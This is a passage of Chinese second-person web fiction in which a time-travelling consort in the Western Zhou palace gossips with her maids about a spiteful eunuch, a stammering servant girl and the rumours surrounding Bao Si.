“小湫呀,你说你是不是又没推掉旁人塞来的活?忙得晕头转向,今儿才出了岔子——多亏咱们娘娘宽宏大量。” 她分明是打趣却也带着缓和的意思,还不忘颂扬你的美德。 名为小湫的宫娥点了点头,又摇了摇头,又用手在胸前比划着,有点磕磕绊绊地说:“不……不是……是惩罚……寺人览……我、我错……” “那个‘阉竖’,你错什么?没错他也能给硬揪出来错,呸!”一旁的阿芸不平地轻轻啐了一声。 你听得一头雾水,不由得好奇起来。 “那个口吃的宫娥叫小湫,原是姜后宫里的,后来姜后……先王薨后,悲恸过甚,也跟着去了。没多久她便被派到了褒妃那,因口齿不便又性软,总会揽着许多活。” 小芷先用手圈住口周,小声地向你解释,接着不再刻意压低声音:“至于她们说的寺人览,就是方才领头那位,此人柔佞得很,最不好得罪。曾听女工署的郑典丝提起,他父母是先王伐猃狁时被献上的奴仆……” 你点了点头抿了口温水,又跟着点评:“阴沉沉的,他虽老笑面相迎,可还是让我发毛。” “娘娘你的感觉是对的,这“阉竖”还很挟冤记仇呢——” “咳!”小芷轻咳一声,眼神往阿荇和阿芸身上一扫,“你们俩左一个‘阉竖’,右一个‘阉竖’,叫人听去了怎么办?” “好吧,那我们说寺人览成吧,不过就我们四个加娘娘一个,谁能听了去呢?”阿荇眨眨眼,全不在意小芷的无奈。见你不烦这些琐事便继续往下:“听说他刚成奄人?那会儿,曾和东厨的黄膳夫起过争执。那黄膳夫嘴损,当众就嘲讽他说——‘阉割过的猪会更温顺,腥臊也会更少。怎么这人却不一样?去势了反而还多带了股腥臭,也不见得温顺……” “天,这黄膳夫怎么专往人伤口上撒盐?而且人和猪,这怎么能等同?”你听得眉头直蹙。 当然,这么想并不是因为你抱有倨傲居高的心态认为人比动物高贵,而是在你的认知中,这两者还是有别的,虽然这么说显得有些双标。 人的去势你视之为一种扭曲的剥削,一种将人工具化的非人对待:既需要他们服侍在内宫,可又对他们存有疑心而剥夺其完整的身体与尊严。 而且你还很想反驳和科普:人去势后会伴有腥臊味,是因为这种‘阉割手术’导致了泌尿系统损伤,无法正常控制排尿,会有尿液泄漏等后遗症。然后虽然受激素水平变化的影响,可能情绪会更平缓,可人也是有 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“后来啊……”她拖长了调子,慢慢道:“那个膳夫因献了一道‘百珍烹鼋’,被杀了。” |百珍烹鼋|:以鳖为主料,加以各类鲜美食材烹煮。 “啊?”你愣住了。一道菜而已,你实在想不通,在心下犯着嘀咕。你虽没尝过什么百珍烹鼋,可“霸王别姬”——就是甲鱼炖鸡——你也是吃过的。哪怕你心理上有些抵抗吃,但还是得承认味道是不错的,虽然在调料有限的古代,做出来的可能会少些滋味,可也不会难吃到“要命”吧。 “这个我知道,我听老宫侍说过。”在旁一直听着的阿芸忽然说。“因为这道献菜偏撞上了特殊时期,当时有亡周的歌谣,还有一个传闻——因寻鼋迹而有孕的宫娥,四十年后诞下携有妖气的女童……” “而黄膳夫还来自于商故地,这一献,就像故意这样的,意指国祚不久,所以……”阿芸娓娓道来。 你听完,觉得略离谱又细思极恐,你也不知道两人是怎么知道这么多秘辛的。 这时一直低垂着头的小湫,手一抖,杯中的水泼洒了一点。 小芷不动声色地擦去水渍,拍了拍她的肩头安抚着,然后思衬了会,抬眸探询性地望向你:“娘娘,要不让小湫来咱们宫?” “可以呀!”你脱口而出,语气轻快得像应下一件小事,随即又补了一句,“不过她愿不愿意呢?” 在你等她回答的过程中,阿芸开始和她说起各种来你这的好处:活计不多、膳食不错、小芷管事宽厚等等。而阿荇见她还是没有应答,伸手轻轻捏了捏她的耳垂: “你总不能是担心,来了我们这儿,大王会怪下来——说我们娘娘目中无人,抢褒娘娘的人吧?” 本就面有忧容的小湫听完这话,脸上更添了几份愁,她握着茶杯,依旧不语。小芷不满地瞧了一眼有些没轻没重的阿荇,将手中浸湿的帕子朝她那丢了去。 不过,听了阿荇的话,你是确实没想到这层,万一在他人眼里,尤其是大王眼里,你是在向褒姒示威呢? 那后果对于‘自恃权势’的你和‘投机背主’的小湫就不一样了。一想,你有点后悔——对你轻易许诺,不顾自己是否能做到,也不顾后果如何的后悔。 终于,小湫出声了。 她交握着双手,摇了摇头:“不用了……娘娘们都、都很好。”她伸手指了指你,又朝琼台的方向指了指,接着又磕磕绊绊地往下说: “他……不会怎样。我们只、只是……以前聊、闲聊,看见他,就……就不说了。他可能……以为我们说他,可、可没有……”小湫越说越急,脸都憋红了些,又摆摆手,示意没有证据、没有的事。 你听明白了。大约是几个小宫人聚着说话,一见寺人览路过便噤了声——这本是寻常反应,可落在他那多疑的眼里,便成了在背后嚼他舌根的佐证。偏他又抓不着把柄,这口气便一直梗着,只能通过加活施压,和今日碰着机会借题发挥。 唉,话说到这份上,你们便也作罢了让她来宫里的想法。 不过,你已经在心里打定主意,想了个法子“互监互举”,来限制推责代劳行为和无根据、无实证的滥奖滥罚,打算日后试行一番。 接着,你们闲聊的话题七拐八绕的,又落回褒妃送来的那堆珍宝上。 “除却这些,还有好些新鲜玩意,你们娘娘可真是舍得!”你语气里带着几分慨叹。 “万、万岁爷赏得……还、还有一大堆——”小湫说到一半自觉不恰当便停了。 你有些窘迫地眨了眨眼睛,善意地笑了笑,让她不用这样拘谨。 “不过说真的,你们娘娘极受万岁看重,又添下王子,多值得高兴的事,”阿芸托着腮,语气里带着的困惑:“可听说她好像从未笑过……” 不会是面瘫吧?你在心里腹诽着,想来烽火戏诸侯时的笑,总不能是因为烽火带来的热气缓解了僵硬的面部肌肉吧,可褒姒那张脸,看着着实不像面瘫啊。 “。。。你脑回路真是不一般。”抱一忍无可忍地冒出来吐槽了你一句,“为什么不能是生性不爱笑,或是产后有些抑郁等等原因呢?” “嘘——你说的也对,不过我们先来看看她们怎么说的。”你巧妙的让抱一暂时闭麦了。 “哎?小湫你见过褒妃笑不?”阿荇凑过去,眼里满是好奇,“她那张姝丽的面庞,要是多笑笑就好了,会更好看的。” 你对阿荇的话认同,褒姒周身总萦绕着淡淡的忧郁,有中难以言说的不实感,淡淡然的又隐隐带些落寞,虽然这样也很有一种说不清的吸引力。 小湫皱着眉摇了摇头,“可就、就算这样……流、流言也很过、过分。”她张了张嘴后又停顿了,像下了决心才继续,只不过用肢体代替了言语。 她双手相对,指尖勾连,最后用手比划出了一匹小马。 ??? 你用手拨了拨头发,眼神在其他三人面上转了一圈,企图找出一个懂行的人,告诉你这是什么意思。 “你说的是……“小芷斟酌着开口,“‘褒妃是妖孽,是不详的野马化成的’那个流言?” 关于这个近期的流言,你竟是半点不知,怎么偏这个无厘头的流言能被捂得这么严实?你搞不太清楚,不过还是先给足情绪价值吧。 “是啊,是啊,太过分了!怎么能这么说,褒姒和野马能有什么牵连?!”你不管三七二十一先说出这一串话,但随后你就顿住了,十分得惊愕。 “野……野马?!!!” 你突然涨红了的脸和拉高的嗓音,让其他人都疑惑地望向你。你却丝毫不在意,只是在心里一遍遍轰炸抱一。 “褒姒是什么?野马又是谁?抱一你给我出来,这是怎么回事!!”